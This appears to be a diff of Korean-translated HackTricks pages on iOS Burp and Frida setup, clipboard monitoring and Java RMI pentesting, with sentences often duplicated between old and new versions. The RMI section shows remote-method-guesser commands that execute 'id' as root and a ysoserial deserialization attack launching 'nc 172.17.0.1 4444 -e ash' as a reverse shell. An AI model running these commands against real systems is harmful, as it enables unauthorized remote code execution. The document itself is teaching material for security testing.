iOS 장치에서 안전한 웹 트래픽 분석 및 SSL 핀닝을 위해 Burp Suite는 **Burp Mobile Assistant**를 통해 또는 수동 구성으로 사용할 수 있습니다. 아래는 두 가지 방법에 대한 요약 가이드입니다:
### Automated Installation with Burp Mobile Assistant
### Burp Mobile Assistant를 통한 자동 설치
**Burp Mobile Assistant**는 Burp 인증서, 프록시 구성 및 SSL 핀닝 설치 과정을 간소화합니다. 자세한 안내는 [PortSwigger의 공식 문서](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)에서 확인할 수 있습니다.
### Manual Installation Steps
### 수동 설치 단계
1. **Proxy Configuration:** iPhone의 Wi-Fi 설정에서 Burp를 프록시로 설정합니다.
2. **Certificate Download:** 장치의 브라우저에서 `http://burp`로 이동하여 인증서를 다운로드합니다.
3. **Certificate Installation:** 다운로드한 프로필을 **설정** > **일반** > **VPN 및 장치 관리**를 통해 설치한 후, **인증서 신뢰 설정**에서 PortSwigger CA에 대한 신뢰를 활성화합니다.
1. **프록시 구성:** iPhone의 Wi-Fi 설정에서 Burp를 프록시로 설정합니다.
2. **인증서 다운로드:** 기기 브라우저에서 `http://burp`로 이동하여 인증서를 다운로드합니다.
3. **인증서 설치:** 다운로드한 프로필을 **설정** > **일반** > **VPN 및 기기 관리**를 통해 설치한 후, **인증서 신뢰 설정**에서 PortSwigger CA에 대한 신뢰를 활성화합니다.
### Configuring an Interception Proxy
### 인터셉션 프록시 구성
설정은 iOS 장치와 인터넷 간의 트래픽 분석을 가능하게 하며, 클라이언트 간 트래픽을 지원하는 Wi-Fi 네트워크가 필요합니다. 사용 불가능할 경우, usbmuxd를 통한 USB 연결이 대안이 될 수 있습니다. PortSwigger의 튜토리얼은 [장치 구성](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) 및 [인증서 설치](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)에 대한 심층 지침을 제공합니다.
이 설정은 Burp를 통해 iOS 기기와 인터넷 간의 트래픽 분석을 가능하게 하며, 클라이언트 간 트래픽을 지원하는 Wi-Fi 네트워크가 필요합니다. 사용 불가능할 경우, usbmuxd를 통한 USB 연결이 대안이 될 수 있습니다. PortSwigger의 튜토리얼은 [기기 구성](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) 및 [인증서 설치](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)에 대한 심층 지침을 제공합니다.
### Advanced Configuration for Jailbroken Devices
### 탈옥 기기를 위한 고급 구성
탈옥된 장치를 사용하는 경우, USB를 통한 SSH( **iproxy** 사용)는 트래픽을 Burp를 통해 직접 라우팅하는 방법을 제공합니다:
탈옥된 기기를 사용하는 경우, USB를 통한 SSH( **iproxy** 사용)는 트래픽을 Burp를 통해 직접 라우팅하는 방법을 제공합니다:
1. **Establish SSH Connection:** iproxy를 사용하여 SSH를 로컬호스트로 포워딩하여 iOS 장치가 Burp를 실행하는 컴퓨터에 연결할 수 있도록 합니다.
1. **SSH 연결 설정:** iproxy를 사용하여 SSH를 로컬호스트로 포워딩하여 iOS 기기가 Burp를 실행하는 컴퓨터에 연결할 수 있도록 합니다.
```bash
iproxy 2222 22
```
2. **Remote Port Forwarding:** iOS 장치의 포트 8080을 컴퓨터의 로컬호스트로 포워딩하여 Burp의 인터페이스에 직접 접근할 수 있도록 합니다.
2. **원격 포트 포워딩:** iOS 기기의 포트 8080을 컴퓨터의 로컬호스트로 포워딩하여 Burp의 인터페이스에 직접 접근할 수 있도록 합니다.
```bash
ssh -R 8080:localhost:8080 root@localhost -p 2222
```
3. **Global Proxy Setting:** 마지막으로, iOS 장치의 Wi-Fi 설정을 수동 프록시를 사용하도록 구성하여 모든 웹 트래픽이 Burp를 통해 흐르도록 합니다.
3. **전역 프록시 설정:** 마지막으로, iOS 기기의 Wi-Fi 설정을 수동 프록시를 사용하도록 구성하여 모든 웹 트래픽이 Burp를 통해 흐르도록 합니다.
### Full Network Monitoring/Sniffing
### 전체 네트워크 모니터링/스니핑
비 HTTP 장치 트래픽 모니터링은 **Wireshark**를 사용하여 효율적으로 수행할 수 있으며, 이 도구는 모든 형태의 데이터 트래픽을 캡처할 수 있습니다. iOS 장치의 경우, 원격 가상 인터페이스 생성을 통해 실시간 트래픽 모니터링이 가능하며, 이 과정은 [이 Stack Overflow 게시물](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)에서 자세히 설명되어 있습니다. 시작하기 전에 macOS 시스템에 **Wireshark**를 설치해야 합니다.
비 HTTP 기기 트래픽 모니터링은 모든 형태의 데이터 트래픽을 캡처할 수 있는 도구인 **Wireshark**를 사용하여 효율적으로 수행할 수 있습니다. iOS 기기의 경우, 원격 가상 인터페이스 생성을 통해 실시간 트래픽 모니터링이 가능하며, 이 과정은 [이 Stack Overflow 게시물](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)에서 자세히 설명되어 있습니다. 시작하기 전에 macOS 시스템에 **Wireshark**를 설치하는 것이 필요합니다.
절차는 여러 주요 단계로 구성됩니다:
1. iOS 장치와 macOS 호스트 간의 USB 연결을 시작합니다.
2. 트래픽 모니터링에 필요한 iOS 장치의 **UDID**를 확인합니다. 이는 macOS 터미널에서 명령을 실행하여 수행할 수 있습니다:
1. iOS 기기와 macOS 호스트 간의 USB 연결을 시작합니다.
2. 트래픽 모니터링에 필요한 iOS 기기의 **UDID**를 확인합니다. 이는 macOS 터미널에서 명령을 실행하여 수행할 수 있습니다:
```bash
$ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0
```
3. UDID 식별 후, **Wireshark**를 열고 데이터 캡처를 위해 "rvi0" 인터페이스를 선택합니다.
4. 특정 IP 주소와 관련된 HTTP 트래픽 캡처와 같은 타겟 모니터링을 위해 Wireshark의 캡처 필터를 사용할 수 있습니다:
4. 특정 IP 주소와 관련된 HTTP 트래픽 캡처와 같은 목표 모니터링을 위해 Wireshark의 캡처 필터를 사용할 수 있습니다:
## 시뮬레이터에서 Burp Cert 설치
@ -69,7 +61,7 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
![](<../../images/image (534).png>)
- **인증서를 에뮬레이터 안으로 드래그 앤 드롭**합니다.
- 인증서를 에뮬레이터 안으로 **드래그 앤 드롭**합니다.
- **에뮬레이터 안에서** _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_로 가서 **인증서를 확인합니다.**
- **에뮬레이터 안에서** _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_로 가서 **PortSwigger CA를 활성화합니다.**
@ -90,13 +82,6 @@ Burp를 프록시로 구성하는 단계:
![](<../../images/image (431).png>)
- _**Ok**_를 클릭한 후 _**Apply**_를 클릭합니다.
- _**Ok**_를 클릭한 후 _**Apply**_를 클릭합니다.
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
지금 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,12 +1,7 @@
# iOS Frida Configuration
# iOS Frida 구성
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**모바일 보안**에 대한 전문성을 심화하세요. 8kSec 아카데미를 통해 iOS 및 Android 보안을 마스터하고 인증을 받으세요:
{% embed url="https://academy.8ksec.io/" %}
## Frida 설치
@ -18,10 +13,10 @@
4. 새로 추가된 Frida 소스로 이동합니다.
5. Frida 패키지를 설치합니다.
**Corellium**을 사용하는 경우 [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)에서 Frida 릴리스를 다운로드해야 합니다 (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) 그리고 압축을 풀고 Frida가 요청하는 dylib 위치에 복사합니다, 예: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
**Corellium**을 사용하는 경우, [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)에서 Frida 릴리스를 다운로드해야 합니다 (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) 그리고 압축을 풀고 Frida가 요청하는 dylib 위치에 복사합니다, 예: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
설치 후, PC에서 **`frida-ls-devices`** 명령을 사용하여 장치가 나타나는지 확인할 수 있습니다 (PC가 장치에 접근할 수 있어야 합니다).\
또한 **`frida-ps -Uia`**를 실행하여 전화기의 실행 중인 프로세스를 확인하세요.
설치 후, PC에서 **`frida-ls-devices`** 명령을 사용하여 장치가 나타나는지 확인니다 (PC가 장치에 접근할 수 있어야 합니다).\
또한 **`frida-ps -Uia`**를 실행하여 전화기의 실행 중인 프로세스를 확인합니다.
## 탈옥되지 않은 장치에서 Frida 사용 및 앱 패치 없이
@ -29,7 +24,7 @@
## Frida 클라이언트 설치
**frida tools**를 설치하세요:
**frida tools**를 설치합니다:
```bash
pip install frida-tools
pip install frida
@ -183,7 +178,7 @@ Stalker.flush() // this is important to get all events
})
```
> [!CAUTION]
> 디버깅 관점에서는 흥미롭지만, 퍼징을 위해 **`.follow()`** 및 **`.unfollow()`**를 지속적으로 사용하는 것은 매우 비효율적입니다.
> 디버깅 관점에서는 흥미롭지만 퍼징을 위해 **`.follow()`** 및 **`.unfollow()`**를 지속적으로 사용하는 것은 매우 비효율적입니다.
## [Fpicker](https://github.com/ttdennis/fpicker)
@ -295,7 +290,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
# You can find code coverage and crashes in examples/wg-log/out/
```
> [!CAUTION]
> 이 경우 우리는 **각 페이로드 후에 앱을 재시작하거나 상태를 복원하지 않습니다**. 따라서 Frida가 **충돌**을 발견하면 그 페이로드 이후의 **다음 입력**도 **앱을 충돌시킬 수 있습니다** (앱이 불안정한 상태이기 때문입니다) 비록 **입력이 앱을 충돌시켜서는 안 되더라도**.
> 이 경우 우리는 **각 페이로드 후에 앱을 재시작하거나 상태를 복원하지 않습니다**. 따라서 Frida가 **충돌**을 발견하면 그 페이로드 이후의 **다음 입력**도 **앱을 충돌시킬 수 있습니다** (앱이 불안정한 상태이기 때문) 비록 **입력이 앱을 충돌시켜서는 안 되더라도**.
>
> 게다가, Frida는 iOS의 예외 신호에 후킹하므로, **Frida가 충돌을 발견하면**, 아마도 **iOS 충돌 보고서가 생성되지 않을 것입니다**.
>
@ -305,7 +300,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
**macOS 콘솔** 또는 **`log`** CLI를 사용하여 macOS 로그를 확인할 수 있습니다.\
또한 **`idevicesyslog`**를 사용하여 iOS의 로그를 확인할 수 있습니다.\
일부 로그는 정보를 생략하 **`<private>`**를 추가합니다. 모든 정보를 표시하려면 [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)에서 프로필을 설치하여 해당 개인 정보를 활성화해야 합니다.
일부 로그는 정보를 생략하 **`<private>`**를 추가합니다. 모든 정보를 표시하려면 [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)에서 프로필을 설치하여 해당 개인 정보를 활성화해야 합니다.
무엇을 해야 할지 모를 경우:
```sh
@ -343,10 +338,5 @@ killall -9 logd
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**모바일 보안**에 대한 전문성을 심화하세요. 8kSec 아카데미를 통해 iOS 및 Android 보안을 마스터하고 자격증을 취득하세요:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
iOS 기기에서 애플리케이션 간 데이터 공유는 [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) 메커니즘에 의해 촉진되며, 이는 두 가지 주요 범주로 나뉩니다:
- **시스템 전반의 일반 클립보드**: 이는 **모든 애플리케이션**과 데이터를 공유하는 데 사용되며, iOS 10부터 제공된 기능으로, 장치 재시작 및 앱 삭제 후에도 데이터를 지속적으로 유지하도록 설계되었습니다.
@ -12,8 +8,8 @@ iOS 기기에서 애플리케이션 간 데이터 공유는 [`UIPasteboard`](htt
**보안 고려사항**은 클립보드를 사용할 때 중요한 역할을 합니다. 예를 들어:
- 사용자가 **클립보드**에 접근할 앱 권한을 관리할 수 있는 메커니즘이 없습니다.
- 클립보드에 대한 무단 배경 모니터링 위험을 완화하기 위해, 접근은 애플리케이션이 전경에 있을 때로 제한됩니다(이것은 iOS 9부터 적용됨).
- 개인 정보 보호 문제로 인해 지속적인 명명된 클립보드의 사용은 공유 컨테이너를 선호하도록 권장됩니다.
- 클립보드에 대한 무단 배경 모니터링 위험을 완화하기 위해, 접근은 애플리케이션이 전경에 있을 때로 제한됩니다(이것은 iOS 9부터 적용됨).
- 개인 정보 보호 문제로 인해 지속적인 명명된 클립보드의 사용은 공유 컨테이너를 선호니다.
- iOS 10에서 도입된 **유니버설 클립보드** 기능은 일반 클립보드를 통해 장치 간 콘텐츠를 공유할 수 있게 하며, 개발자가 데이터 만료를 설정하고 자동 콘텐츠 전송을 비활성화할 수 있도록 관리할 수 있습니다.
**민감한 정보가 우연히 전역 클립보드에 저장되지 않도록 하는 것**이 중요합니다. 또한, 애플리케이션은 전역 클립보드 데이터를 의도하지 않은 작업에 악용되지 않도록 설계되어야 하며, 개발자는 민감한 정보를 클립보드에 복사하는 것을 방지하기 위한 조치를 구현하도록 권장됩니다.
@ -23,7 +19,7 @@ iOS 기기에서 애플리케이션 간 데이터 공유는 [`UIPasteboard`](htt
정적 분석을 위해 소스 코드나 바이너리에서 다음을 검색합니다:
- `generalPasteboard`를 사용하여 **시스템 전반의 일반 클립보드** 사용을 식별합니다.
- `pasteboardWithName:create:``pasteboardWithUniqueName`을 사용하여 **사용자 정의 클립보드**를 생성합니다. 지속성이 활성화되어 있는지 확인합니다. 이는 더 이상 사용되지 않습니다.
- `pasteboardWithName:create:``pasteboardWithUniqueName`을 사용하여 **사용자 정의 클립보드**를 생성합니다. 지속성이 활성화되어 있는지 확인하되, 이는 더 이상 사용되지 않습니다.
### 동적 분석
@ -41,7 +37,7 @@ iOS 기기에서 애플리케이션 간 데이터 공유는 [`UIPasteboard`](htt
모니터링 도구 사용의 예로는 **objection의 클립보드 모니터**가 있으며, 이는 일반 클립보드를 5초마다 폴링하여 변경 사항을 확인하고 새로운 데이터를 출력합니다.
다음은 objection의 접근 방식에서 영감을 받은 간단한 JavaScript 스크립트 예제로, 클립보드에서 변경 사항을 5초마다 읽고 기록합니다:
다음은 objection의 접근 방식에서 영감을 받아 클립보드의 변경 사항을 5초마다 읽고 기록하는 간단한 JavaScript 스크립트 예제입니다:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard
const Pasteboard = UIPasteboard.generalPasteboard()
@ -72,14 +68,11 @@ Pasteboard.hasImages().toString()
console.log(items)
}, 1000 * 5)
```
## References
## 참고문헌
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
- [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,17 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## 기본 정보
_Java 원격 메서드 호출_ 또는 _Java RMI_는 한 _Java 가상 머신_에 위치한 객체가 다른 _Java 가상 머신_에 위치한 객체의 메서드를 호출할 수 있도록 하는 객체 지향 _RPC_ 메커니즘입니다. 이를 통해 개발자는 객체 지향 패러다임을 사용하여 분산 애플리케이션을 작성할 수 있습니다. 공격적인 관점에서 _Java RMI_에 대한 간단한 소개는 [이 블랙햇 강연](https://youtu.be/t_aw1mDNhzI?t=202)에서 확인할 수 있습니다.
_Java Remote Method Invocation_ 또는 _Java RMI_는 한 _Java 가상 머신_에 위치한 객체가 다른 _Java 가상 머신_에 위치한 객체의 메서드를 호출할 수 있도록 하는 객체 지향 _RPC_ 메커니즘입니다. 이를 통해 개발자는 객체 지향 패러다임을 사용하여 분산 애플리케이션을 작성할 수 있습니다. 공격적인 관점에서 _Java RMI_에 대한 간단한 소개는 [이 블랙햇 강연](https://youtu.be/t_aw1mDNhzI?t=202)에서 찾을 수 있습니다.
**기본 포트:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -22,20 +14,20 @@ PORT STATE SERVICE VERSION
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
보통 기본 _Java RMI_ 구성 요소(_RMI Registry_ 및 _Activation System_)만 일반 포트에 바인딩됩니다. 실제 _RMI_ 애플리케이션을 구현하는 _remote objects_는 일반적으로 위의 출력에 표시된 대로 임의의 포트에 바인딩됩니다.
보통 기본 _Java RMI_ 구성 요소(_RMI Registry_ 및 _Activation System_)만 일반 포트에 바인딩됩니다. 실제 _RMI_ 애플리케이션을 구현하는 _remote objects_는 위의 출력에서 보여준 것처럼 일반적으로 임의의 포트에 바인딩됩니다.
_nmap_은 때때로 _SSL_로 보호된 _RMI_ 서비스를 식별하는 데 어려움을 겪습니다. 일반 _RMI_ 포트에서 알 수 없는 ssl 서비스를 발견하면 추가 조사를 해야 합니다.
## RMI 구성 요소
간단히 말해, _Java RMI_는 개발자가 네트워크에서 _Java object_를 사용할 수 있도록 합니다. 이는 클라이언트가 연결하고 해당 객체에서 메서드를 호출할 수 있는 _TCP_ 포트를 엽니다. 간단하게 들리지만, _Java RMI_가 해결해야 할 여러 가지 과제가 있습니다:
간단히 말해, _Java RMI_는 개발자가 네트워크에서 _Java object_를 사용할 수 있도록 합니다. 이는 클라이언트가 연결하고 해당 객체에서 메서드를 호출할 수 있는 _TCP_ 포트를 엽니다. 이게 간단하게 들리지만, _Java RMI_가 해결해야 할 여러 가지 도전 과제가 있습니다:
1. _Java RMI_를 통해 메서드 호출을 전송하려면 클라이언트는 IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 대상 객체의 `ObjID`를 알아야 합니다(`ObjID`는 객체가 네트워크에서 사용 가능해질 때 생성되는 고유하고 임의의 식별자입니다. _Java RMI_는 여러 객체가 동일한 _TCP_ 포트에서 수신할 수 있도록 허용하기 때문에 필요합니다).
1. _Java RMI_를 통해 메서드 호출을 전송하려면 클라이언트는 IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 대상 객체의 `ObjID`를 알아야 합니다( `ObjID`는 객체가 네트워크에서 사용 가능해질 때 생성되는 고유하고 임의의 식별자입니다. _Java RMI_는 여러 객체가 동일한 _TCP_ 포트에서 수신할 수 있도록 허용하기 때문에 필요합니다).
2. 원격 클라이언트는 노출된 객체에서 메서드를 호출하여 서버에서 리소스를 할당할 수 있습니다. _Java virtual machine_은 이러한 리소스 중 어떤 것이 여전히 사용 중인지, 어떤 것이 가비지 수집될 수 있는지를 추적해야 합니다.
첫 번째 문제는 기본적으로 _Java RMI_의 이름 서비스인 _RMI registry_에 의해 해결됩니다. _RMI registry_ 자체도 _RMI service_이지만, 구현된 인터페이스와 `ObjID`는 고정되어 있으며 모든 _RMI_ 클라이언트가 알고 있습니다. 이를 통해 _RMI_ 클라이언트는 해당 _TCP_ 포트만 알면 _RMI_ 레지스트리를 사용할 수 있습니다.
첫 번째 도전 과제는 _RMI registry_에 의해 해결됩니다. _RMI registry_는 기본적으로 _Java RMI_를 위한 이름 서비스입니다. _RMI registry_ 자체도 _RMI service_이지만, 구현된 인터페이스와 `ObjID`는 고정되어 있으며 모든 _RMI_ 클라이언트가 알고 있습니다. 이를 통해 _RMI_ 클라이언트는 해당 _TCP_ 포트만 알면 _RMI_ 레지스트리를 사용할 수 있습니다.
개발자가 네트워크 내에서 _Java objects_를 사용 가능하게 하려는 경우, 일반적으로 이를 _RMI registry_에 바인딩합니다. _registry_는 객체에 연결하는 데 필요한 모든 정보(IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 `ObjID` 값)를 저장하고 이를 사람이 읽을 수 있는 이름(바인딩된 이름)으로 제공합니다. _RMI service_를 사용하려는 클라이언트는 해당 _bound name_에 대해 _RMI registry_에 요청하고, 레지스트리는 연결하는 데 필요한 모든 정보를 반환합니다. 따라서 상황은 기본적으로 일반 _DNS_ 서비스와 동일합니다. 다음 목록은 작은 예를 보여줍니다:
개발자가 네트워크 내에서 _Java objects_를 사용 가능하게 하려는 경우, 일반적으로 이를 _RMI registry_에 바인딩합니다. _registry_는 객체에 연결하는 데 필요한 모든 정보(IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 `ObjID` 값)를 저장하고 이를 사람이 읽을 수 있는 이름( _bound name_ )으로 제공합니다. _RMI service_를 사용하려는 클라이언트는 해당 _bound name_에 대해 _RMI registry_에 요청하고, 레지스트리는 연결하는 데 필요한 모든 정보를 반환합니다. 따라서 상황은 기본적으로 일반 _DNS_ 서비스와 동일합니다. 다음 목록은 작은 예를 보여줍니다:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -59,7 +51,7 @@ e.printStackTrace();
}
}
```
위에서 언급한 두 번째 도전 과제는 _Distributed Garbage Collector_ (_DGC_)에 의해 해결됩니다. 이것은 잘 알려진 `ObjID` 값을 가진 또 다른 _RMI 서비스_이며 기본적으로 모든 _RMI endpoint_에서 사용할 수 있습니다. _RMI 클라이언트_가 _RMI 서비스_를 사용하기 시작하면, 해당 _원격 객체_가 사용 중임을 _DGC_에 알리는 정보를 전송합니다. 그러면 _DGC_는 참조 수를 추적하고 사용되지 않는 객체를 정리할 수 있습니다.
위에서 언급한 두 번째 도전 과제는 _Distributed Garbage Collector_ (_DGC_)에 의해 해결됩니다. 이것은 잘 알려진 `ObjID` 값을 가진 또 다른 _RMI service_이며 기본적으로 각 _RMI endpoint_에서 사용할 수 있습니다. _RMI client_가 _RMI service_를 사용하기 시작하면, 해당 _remote object_가 사용 중임을 _DGC_에 알리는 정보를 전송합니다. 그러면 _DGC_는 참조 수를 추적하고 사용되지 않는 객체를 정리할 수 있습니다.
더 이상 지원되지 않는 _Activation System_과 함께, 이들은 _Java RMI_의 세 가지 기본 구성 요소입니다:
@ -67,11 +59,11 @@ e.printStackTrace();
2. _Activation System_ (`ObjID = 1`)
3. _Distributed Garbage Collector_ (`ObjID = 2`)
_Java RMI_의 기본 구성 요소는 꽤 오랫동안 알려진 공격 벡터였으며, 구식 _Java_ 버전에는 여러 취약점이 존재합니다. 공격자의 관점에서 볼 때, 이러한 기본 구성 요소는 알려진 클래스/인터페이스를 구현했기 때문에 흥미롭고, 이들과 상호작용하는 것이 쉽습니다. 그러나 사용자 정의 _RMI 서비스_의 경우 상황이 다릅니다. _원격 객체_의 메서드를 호출하려면 해당 메서드 시그니처를 미리 알아야 합니다. 기존 메서드 시그니처를 모르면 _RMI 서비스_와 통신할 방법이 없습니다.
_Java RMI_의 기본 구성 요소는 꽤 오랫동안 알려진 공격 벡터였으며, 구식 _Java_ 버전에는 여러 취약점이 존재합니다. 공격자의 관점에서 볼 때, 이러한 기본 구성 요소는 알려진 클래스/인터페이스를 구현했기 때문에 흥미롭고, 이들과 상호작용하는 것이 쉽습니다. 그러나 사용자 정의 _RMI services_의 경우 상황이 다릅니다. _remote object_에서 메서드를 호출하려면 해당 메서드 시그니처를 미리 알아야 합니다. 기존 메서드 시그니처를 모르면 _RMI service_와 통신할 방법이 없습니다.
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)는 일반적인 _RMI 취약점_을 자동으로 식별할 수 있는 _Java RMI_ 취약점 스캐너입니다. _RMI_ endpoint를 식별할 때마다 시도해 보아야 합니다:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)는 일반적인 _RMI vulnerabilities_를 자동으로 식별할 수 있는 _Java RMI_ 취약점 스캐너입니다. _RMI_ endpoint를 식별할 때마다 시도해 보아야 합니다:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
@ -144,11 +136,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## 원격 메서드의 브루트포스
## 원격 메서드 무차별 대입
열거 중에 취약점이 식별되지 않더라도, 사용 가능한 _RMI_ 서비스는 여전히 위험한 기능을 노출할 수 있습니다. 또한, _RMI_ 기본 구성 요소에 대한 _RMI_ 통신은 역직렬화 필터로 보호되지만, 사용자 정의 _RMI_ 서비스와 대화할 때 이러한 필터는 일반적으로 적용되지 않습니다. 따라서 _RMI_ 서비스에서 유효한 메서드 시그니처를 아는 것은 가치가 있습니다.
열거 중에 취약점이 식별되지 않더라도, 사용 가능한 _RMI_ 서비스는 여전히 위험한 기능을 노출할 수 있습니다. 또한, _RMI_ 기본 구성 요소에 대한 _RMI_ 통신은 역직렬화 필터로 보호되지만, 사용자 정의 _RMI_ 서비스와 대화할 때 이러한 필터는 일반적으로 적용되지 않습니다. 따라서 _RMI_ 서비스에서 유효한 메서드 시그니처를 아는 것은 중요합니다.
불행히도, _Java RMI_는 _원격 객체_에서 메서드를 열거하는 것을 지원하지 않습니다. 그렇지만, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 또는 [rmiscout](https://github.com/BishopFox/rmiscout)와 같은 도구를 사용하여 메서드 시그니처를 브루트포스하는 것은 가능합니다:
불행히도, _Java RMI_는 _원격 객체_에서 메서드를 열거하는 것을 지원하지 않습니다. 그렇긴 하지만, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 또는 [rmiscout](https://github.com/BishopFox/rmiscout)와 같은 도구를 사용하여 메서드 시그니처를 무차별 대입하는 것이 가능합니다:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -178,12 +170,12 @@ $ rmg guess 172.17.0.2 9010
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
식별된 메서드는 다음과 같이 호출할 수 있습니다:
식별된 방법은 다음과 같이 호출할 수 있습니다:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
다음과 같이 역직렬화 공격을 수행할 수 있습니다:
또는 다음과 같이 역직렬화 공격을 수행할 수 있습니다:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
@ -206,14 +198,14 @@ Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
더 많은 정보는 다음 기사에서 찾을 수 있습니다:
다음 기사에서 더 많은 정보를 찾을 수 있습니다:
- [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
- [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
추측하는 것 외에도, 검색 엔진이나 _GitHub_에서 만난 _RMI_ 서비스의 인터페이스나 구현을 찾아보는 것이 좋습니다. _bound name_과 구현된 클래스 또는 인터페이스의 이름이 여기서 도움이 될 수 있습니다.
추측하는 것 외에도, 검색 엔진이나 _GitHub_에서 만난 _RMI_ 서비스의 인터페이스나 구현을 찾아보아야 합니다. _bound name_과 구현된 클래스 또는 인터페이스의 이름이 여기서 도움이 될 수 있습니다.
## 알려진 인터페이스
@ -301,12 +293,4 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
